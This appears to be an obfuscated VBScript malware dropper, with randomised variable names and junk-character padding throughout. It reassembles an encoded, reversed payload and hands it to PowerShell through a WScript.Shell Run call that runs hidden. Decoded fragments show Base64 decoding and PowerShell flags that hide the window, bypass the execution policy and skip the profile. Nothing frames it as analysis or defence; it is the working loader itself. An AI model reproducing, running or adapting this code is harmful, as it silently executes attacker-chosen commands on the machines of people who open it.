sBg" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
tBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
Q" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
zBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
uBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
4BQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
uBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
w" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
4BQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
4BQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
0Bw" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
lBw" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
w" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
4BQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
lBw" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
4BQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
w" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
uBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
w" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
lBw" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
w" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
UBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
lBw" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
uBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
zBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
iBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
w" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
yBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
sBg" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
hBGbQwhSZKROryXLvKdRYoWIdRuWInUKOkpqKbXOcltGqGAYOdYrKKyvhYOqURmmJZAcWxuyOqeUqzlhSqwdcviQSmeDRYZqWMXc = WSkcupjuuowqlIdJNAOKnGRpHipDWcaimCljybpeCdhLyCPNJPKTLnYDoHaOGpNAuJdcmahqdDRCJwACwRdPUccKZChhDLroMNWL( hBGbQwhSZKROryXLvKdRYoWIdRuWInUKOkpqKbXOcltGqGAYOdYrKKyvhYOqURmmJZAcWxuyOqeUqzlhSqwdcviQSmeDRYZqWMXc, aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW + pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH + aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW , "Z")
Function nILfqbHohrTBNuWcUkcGmaDqDxSZcrhUcUWoSMAtZlAOizjwLevScWSOCbsieLRnodnWWYbcUWKzQQJwWsnkGlRQlNmQvscORcDW(input)
nILfqbHohrTBNuWcUkcGmaDqDxSZcrhUcUWoSMAtZlAOizjwLevScWSOCbsieLRnodnWWYbcUWKzQQJwWsnkGlRQlNmQvscORcDW = StrReverse(input)
End Function
Function JGfcBGdLAMBPNAUeWPSlCUPTaAHULegIBrPrrPKQNBKCJnychWHrrhPlWPoJmsgLQsLazqWMraHhucUKWALiQBvsrUMuXKajMuTr(command)
zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH = "4@#:(((-#%#*4#@(*)(%!
$%$1&&1#)
*&%))%%!
:%3)!1(&()((/@@6!((!)(#)#*(|*)
@#((#$$(
/2(!@(@-/((!(ow^
(}]:((
(}]:((
@ll -co/##*&1*$#$#&%#@6
&*%!%$
&(%$!%&1&5!%*%(&!(9
(&*8%@@(!9*!
*#&#%1*%
%@$(/#98*%((7!@*@*%56!6/##*&1*$#$#&%#@6
&*%!%$
&(%$!%&1&5!%*%(&!(9
(&*8%@@(!9*!
*#&#%1*%
%@$(/#98*%((7!@*@*%56!6and " & command
zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH = TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD(zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH,"^
(}]:((
@","e")
zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH = TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD(zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH,"/##*&1*$#$#&%#@6
&*%!%$
&(%$!%&1&5!%*%(&!(9
(&*8%@@(!9*!
*#&#%1*%
%@$(/#98*%((7!@*@*%56!6","m")
zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH = TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD(zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH,"4@#:(((-#%#*4#@(*)(%!
$%$1&&1#)
*&%))%%!
:%3)!1(&()((/@@6!((!)(#)#*(|*)
@#((#$$(
/2(!@(@-/((!(","p")
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = CreateObject("WScript.Shell")
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run zbxcuwHKDWWUjykkvWUuMoWUUuiWWPyyUsqqZNxcpTOAwJAYRUyWKomfIqcwmSPPJDAoXgimNqgUbGGIGbLUIvbGGPPSWYYwvqjH, 0, False
End Function
GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK = nILfqbHohrTBNuWcUkcGmaDqDxSZcrhUcUWoSMAtZlAOizjwLevScWSOCbsieLRnodnWWYbcUWKzQQJwWsnkGlRQlNmQvscORcDW("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & hBGbQwhSZKROryXLvKdRYoWIdRuWInUKOkpqKbXOcltGqGAYOdYrKKyvhYOqURmmJZAcWxuyOqeUqzlhSqwdcviQSmeDRYZqWMXc & "'"
GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK = GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK & ";$OWjux(#@(
@(#@@($@$@
+$}:4}@@#
:$$}@@
4##+@:
]:(##4
#4 = [
)@(@@$}@
@]$})#
)@(@@$}@
@]$})#
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}m.T
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}xt.
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}nco(#@(
@(#@@($@$@
+$}:4}@@#
:$$}@@
4##+@:
]:(##4
#4ing]::Unico(#@(
@(#@@($@$@
+$}:4}@@#
:$$}@@
4##+@:
]:(##4
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}tString( "
GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK = GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK & "[
)@(@@$}@
@]$})#
)@(@@$}@
@]$})#
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}m.Conv
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}rt]::From^(}}*@
}(*(#((:
*4}^4^
@@(}++
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}64String( $4
*#((::
(o(#@(
@(#@@($@$@
+$}:4}@@#
:$$}@@
4##+@:
]:(##4
#4igo.r
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}}]@#@@
@@(:@(
@@(@##(@
#@@@}#
@@(}++
*(ce('
','A') ) )"
GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK = GDURPCnjsKmPUNBgMKTHMuNhUHksuJcOPvcgIWGtvfiazPLxDUivqIbKnItzchfsWsLyfCkRagsKzHAnsuUTUSnUssnKUCfzUIGK & ";}]@#@@
@@(:@(
@@(@##(@
#@@@}#
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}rs*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}ll.*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(} -windo*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(} hi*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
@(#@@($@$@
+$}:4}@@#
:$$}@@
4##+@:
]:(##4
#4(#@(
@(#@@($@$@
+$}:4}@@#
:$$}@@
4##+@:
]:(##4
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}n -
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(}xe4
*#((::
(ut*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
ion}]@#@@
@@(:@(
@@(@##(@
#@@@}#
*#((::
(y ^(}}*@
}(*(#((:
*4}^4^
(*yp*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
ss -NoP*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
@@@@$}@*(
$(::@$@@($$:@@
$@$:@$
$(} -4
*#((::
(om*(@
4(}*}}*
}}}+*@
4(}*}}*
}}}+*@
@@(}++
